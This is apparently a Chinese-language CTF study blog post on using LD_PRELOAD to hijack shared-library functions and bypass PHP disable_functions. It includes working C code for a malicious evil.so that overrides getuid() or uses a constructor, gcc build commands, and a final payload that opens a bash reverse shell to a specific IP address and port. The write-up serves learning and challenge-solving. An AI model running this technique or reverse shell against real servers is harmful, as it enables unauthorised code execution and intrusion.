M申给我发了两道题,其中一道就是关于LD_PRELOAD的,之前面vn的时候,infer问了我相关的问题没答上来,正好学习一下
引入
LD_PRELOAD(预加载)本身是Linux中的环境变量,用于指定动态库的加载地址。
在Linux程序中,一个程序调用时动态库的加载优先级最高,当LD_PRELOAD变量指定的地址为恶意链接库时,该链接库的调用则会造成危害。我们自己编写的库文件需要保证自定义替换的函数与原函数相同,包括类型和参数
劫持系统函数绕过disable_functions
当系统试图调用某函数时,该函数位于特定的共享库(xxx.so),因此,系统在调用之前将加载xxx.so,换句话说,如果我可以创建一个evil.so有了同名的函数,就能将其覆盖之。
为了彻底搞明白我们正一个简单的php,流程是编写恶意so -> 通过putenv来设置LD_PRELOAD变量 -> 触发wget函数来调用我们编写的恶意so
我们追踪system
strace -f php system.php 2>&1 | grep execve
可以看到就是我们预想的调用了wget
再追踪wget
strace wget 2>&1
readelf -Ws /usr/bin/wget
#查看wget命令使用了哪些库函数
发现存在getuid()能函数,我们就选择getuid
#include
#include
#include
void payload() {
system("echo sussess > res");
}
int getuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译
gcc -fPIC -shared -o evil.so ld.c -ldl
再运行查看是否执行
php system.php
cat res

最终成功执行
劫持共享库
attribute 是 GNU C 里一种特殊的语法,语法格式为:attribute ((attribute-list)),若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行,类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行,比如
// 库加载时自动执行该函数
__attribute__((constructor)) void preload_init() {
printf("evil.so 被加载了!\n");
system("echo 自动执行 > res"); // 无需依赖符号冲突,直接执行
}
// 程序退出时执行
__attribute__((destructor)) void preload_exit() {
printf("程序要退出了...\n");
}
作用有点类似php的那两个魔术方法,其他的这里就先不提
那么思路就很清晰__attribute__((constructor)) 在加载共享库时就会运行,只要编写一个含__attribute__((constructor)) 函数的共享库,然后在PHP中设置LD_PRELOAD环境变量,并且有一个能 fork 一个子进程并触发加载共享库的函数被执行,那么就能执行任意代码
这里放一些相关的函数
一、直接创建子进程(fork 相关)
fork()
vfork()
二、加载新程序(exec 系列)
execve(path, argv, envp)(系统调用)
execl(path, arg0, arg1, ..., NULL)
execvp(file, argv)
三、创建线程(间接影响共享库)
pthread_create()
四、显式加载共享库的函数
dlopen(const char *filename, int flag)
system(const char *command)
**exec**系列函数:替换进程时加载新程序的依赖库,是最主要的触发方式(依赖动态链接器)。**system***函数:内部通过fork+exec执行命令,间接触发子进程的库加载。**dlopen**函数:显式在当前进程(或子进程)中加载共享库。
这里放一道M申给的题目
payload
#include
#include
#include
void payload() {
system("bash -c 'bash -i >& /dev/tcp/8.138.195.149/7777 0>&1'");
}
__attribute__((constructor)) void preload (void)
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
劫持系统函数应该也能通,当然也有可能是我本地有问题